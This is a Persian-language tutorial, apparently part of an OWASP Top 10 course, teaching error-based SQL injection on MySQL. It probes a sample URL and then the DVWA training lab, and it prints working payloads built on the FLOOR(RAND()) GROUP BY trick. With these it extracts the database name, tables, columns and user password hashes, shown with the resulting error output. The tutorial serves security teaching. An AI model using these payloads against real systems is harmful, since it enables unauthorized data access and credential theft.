سرفصل‌های آموزشی
آموزش OWASP TOP 10
حمله های بر پایه ی Error

حمله های بر پایه ی Error

 در این مقاله به بررسی نوع دیگری از sql injection به نام error based می پردازیم.

این تکنیک همان طور که از نام آن مشخص است، وابسته به خطاهایی است که از سمت پایگاه داده نمایش داده می شود تا بتوان از طریق آن اطلاعاتی درباره ساختار پایگاه داده و در نهایت استخراج اطلاعات به دست آورد. برای مثال، وقتی در یک برنامه آسیب پذیر یک ورودی نادرست وارد کنیم، ممکن است به عنوان خطا همه یا بخشی از Query اصلی برنامه یا هر نوع اطلاعات مربوط به ساختار برنامه را بازگرداند که فرد مهاجم به راحتی می تواند از آن بهره برداری کند. 

عامل ایجاد آسیب پذیری error based sqli، ضعف در مدیریت کردن خطاها توسط برنامه نویس است.

برای شروع، ابتدا وب سایت هدف را ارزیابی می کنیم:

www.vuln-web.com/photo.php?id=1

No error

www.vuln-web.com/photo.php?id=1”

No error

www.vuln-web.com/photo.php?id=1’

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

همانطور که در پیام خطای بالا مشاهده می کنید، قسمتی از Query اصلی برنامه نمایش داده شده است:

“1” LIMIT 0,1’

با توجه به تک کوتیشن انتهای Query، نتیجه می گیریم که این قسمت از Query با تک کوتیشن جدا شده است. بنابراین دستور داخل Query را با یک رنگ دیگر مشخص می کنیم:

“1” LIMIT 0,1’

بنابراین،‌ از سه نوع دستوری که برای ارزیابی وب سایت هدف استفاده کردیم، دستور ’1 در برنامه تزریق و باعث ایجاد خطا شده است.

با توجه به پیام خطای برنامه، فرض می کنیم Query اصلی برنامه به صورت زیر است:

Select column1,column2 from table1 where id=’<your_input>’ LIMIT 0,1;

اکنون سعی می کنیم تا ادامه Query برنامه را پس از تزریق دستور مورد نظر خود، کامنت کنیم تا از بروز خطا جلوگیری کنیم. برای این کار از چند نمونه از دستورها برای کامنت کردن استفاده می کنیم:

www.vuln-web.com/photo.php?id=1’--

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

www.vuln-web.com/photo.php?id=1’-- -

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

www.vuln-web.com/photo.php?id=1’/*

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

www.vuln-web.com/photo.php?id=1’#

No error

بنابراین عملگر ‘#’ برای کامنت کردن در این Query به کار می رود. در گام بعدی باید دستورهای مختلف را وارد کرده و نحوه عملکرد برنامه را بررسی کنیم:

Select column1,column2 from table1 where id=’1’ and true#’ LIMIT 0,1;

پس از تزریق این دستور و استفاده از عملگر کامنت، Query برنامه به شکل زیر تبدیل می شود:

Select column1,column2 from table1 where id=’1’ and true;

در اینجا هر دو شرط درست است، بنابراین تغییری در صفحه برنامه ایجاد نمی شود. حال با تزریق شرط false دوباره شرایط برنامه را بررسی می کنیم:

Select column1,column2 from table1 where id=’1’ and false;

پس از تزریق دستور، صفحه برنامه به درستی بارگذاری نمی شود. البته هنوز هیچ پیام خطایی هم در روند اجرای برنامه چاپ نمی شود. این یعنی تزریق دستورها با موفقیت انجام شده است.

تا اینجای کار، روند طی شده در اکثر آسیب پذیری های SQLiمشترک بوده و صرفا مروری بر موضوعات پیشین است. در این قسمت، موضوع بحث ما حالت دیگری است که در آن برنامه هیچ خروجی چاپ نمی کند. پس در نتیجه ما نمی توانیم پاسخ دستورهایی را که ترزیق کردیم مانند قبل در خروجی مشاهده کنیم. در این صورت، ما نیاز داریم با تزریق کردن Query های خاصی، برنامه را وادار به چاپ کردن پیام خطا کرده و از آن برای نمایش اطلاعات مورد نظرمان استفاده کنیم. به این منظور، از Sub Queryها برای بهره برداری از این نوع آسیب پذیری استفاده می کنیم. به Query زیر توجه کنید:

SELECT 1 FROM (SELECT count(*),CONCAT((Your Query),0x3a ,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y#

این نوع Query ها و دریافت errore از آن ها در نسخه های 5.5.5 به بالای MySql کار می کند. ساختار این Query عبارت است از:

  • Group by: برای دسته بندی مجموعه جواب های Query بر اساس یک یا چند ستون از این عبارت استفاده می شود.
  • Floor(x): این تابع، عدد x را به بزرگترین عدد صحیح قبل از این عدد گرد می کند. در این قسمت عبارت FLOOR(RAND(0)*2) دو عدد مختلف ۰ و ۱ را به عنوان خروجی ایجاد می کند.
  • Concat: این تابع پردازش رشته، ستون ها یا رشته های ورودی را به یکدیگر متصل می کند.
  • 0x3a: معادل hexadecimal کاراکتر “:” است.

برای مثال، اگر در Query بالا به جای Your Query عبارت SELECT @@version را قرار داده و این Query را در برنامه تزریق کنیم، با پیام خطایی مشابه زیر مواجه خواهیم شد:

Duplicate entry '5.1.73-0ubuntu0.10.04.1:1' for key 'group_key'

همان طور که مشاهده می کنید، خروجی مورد نظر ما که ورژن پایگاه داده برنامه است در پیام خطای بالا چاپ می شود. 

بنابراین، برای استخراج اطلاعات در این قسمت و به طور کلی باید روند زیر را طی کنیم:

به دست آوردن نام پایگاه داده:

Your Query : select database()

به دست آوردن نام جدول ها:

Your Query : select table_name from information_schema.tables where table_schema=database() limit 0,1

به دست آوردن ستون های جدول ها:

Your Query : select column_name from information_schema.columns where table_schema=database() and table_name='<table_name_here>' limit 0,1

و در آخر، استخراج اطلاعات با استفاده از نام ستون ها:

Your Query : select concat(<column_1>,<column_2>) from <table_name_here> limit 0,1

برای درک بهتر و ارائه ی یک مثال، بازهم به سراغ dvwa می رویم. وارد سایت شده، سطح آن را روی low قرار داده و وارد صفحه ی sql injection می شویم. طبق روندی که توضیح دادیم، ابتدا با وارد کردن عبارت زیر آسیب پذیر بودن برنامه به حالت error based را بررسی می کنیم:

1’

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

با توجه به پیام خطای چاپ شده، این برنامه دارای آسیب پذیری error based است. حال در ادامه به بررسی نوع عبارت کامنت می پردازیم. با وارد کردن عبارات مختلف، به این نتیجه می رسیم که عبارت ‘#’ برای این برنامه کار می کند.

حال با توجه به روندی که توضیح دادیم، ابتدا به سراغ پیدا کردن نام پایگاه داده با استفاده از روش error based و استفاده از sub query مطرح شده در این بخش می رویم. به این منظور، عبارت زیر را در برنامه وارد می کنیم:

1'  or (SELECT 1 FROM (SELECT count(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y)#

'Duplicate entry 'dvwa:1' for key 'group_key

همان طور که مشاهده می کنید، در پیام خطای چاپ شده، نام پایگاه داده برنامه نیز چاپ شده است. اکنون سراغ پیدا کردن نام جدول های این پایگاه داده می رویم:

1'  or (SELECT 1 FROM (SELECT count(*),CONCAT((select table_name from information_schema.tables where table_schema=database() LIMIT 1,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y)#

همان طور که مشاهده می کنید، در این قسمت از LIMIT 1,1 استفاده کردیم. توجه داشته باشید که ما به دنبال جدول مربوط به کاربران هستیم و با سایر جداول این پایگاه داده کاری نداریم. لذا از LIMIT 0,1 شروع کرده و یکی یکی بالا می رویم تا به جدول مربوط به کاربران برسیم که در این قسمت با یک واحد افزایش و وارد کردن LIMIT 1,1، خروجی users را مشاهده می کنیم که قطعا جدول مربوط به کاربران است. توجه داشته باشید که هر بار فقط یک خروجی می توانیم استخراج کنیم.

اکنون که نام جدول را استخراج کردیم، نوبت به پیدا کردن نام ستون ها می رسد، اما چون فقط می توانیم هر بار یک خروجی را مشاهده کنیم، به دنبال ستونی شبیه به password برای استخراج رمز عبور کاربران می گردیم. به این منظور، عبارت limit 0,1 را-که اولین ردیف از پاسخ Query را نمایش می دهد-مانند Query بالا یکی یکی افزایش می دهیم:

1'  or (SELECT 1 FROM (SELECT count(*),CONCAT((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 4,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y)#

:Limit 0,1

'Duplicate entry 'user_id:1' for key 'group_key

:Limit 1,1

'Duplicate entry 'first_name:1' for key 'group_key

:Limit 2,1

'Duplicate entry 'last_name:1' for key 'group_key

:Limit 3,1

'Duplicate entry 'user:1' for key 'group_key

:Limit 4,1

'Duplicate entry 'password:1' for key 'group_key

پس ستون password چهارمین خروجی Query ما بوده است. در پایان، پس از پیدا کردن ستون مورد نظر، اطلاعات درون آن را استخراج می کنیم:

1'  or (SELECT 1 FROM (SELECT count(*),CONCAT((select concat(user_id, 0x3a,password) from users limit 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y)#

:Limit 0,1

'Duplicate entry '1:5f4dcc3b5aa765d61d8327deb882cf99:1' for key 'group_key

:Limit 1,1

'Duplicate entry '2:e99a18c428cb38d5f260853678922e03:1' for key 'group_key

:Limit 2,1

'Duplicate entry '3:8d3533d75ae2c3966d7e0d4fcc69216b:1' for key 'group_key

:Limit 3,1

'Duplicate entry '4:0d107d09f5bbe40cade3de5c71e9e9b7:1' for key 'group_key

:Limit 4,1

'Duplicate entry '5:5f4dcc3b5aa765d61d8327deb882cf99:1' for key 'group_key

online-support-icon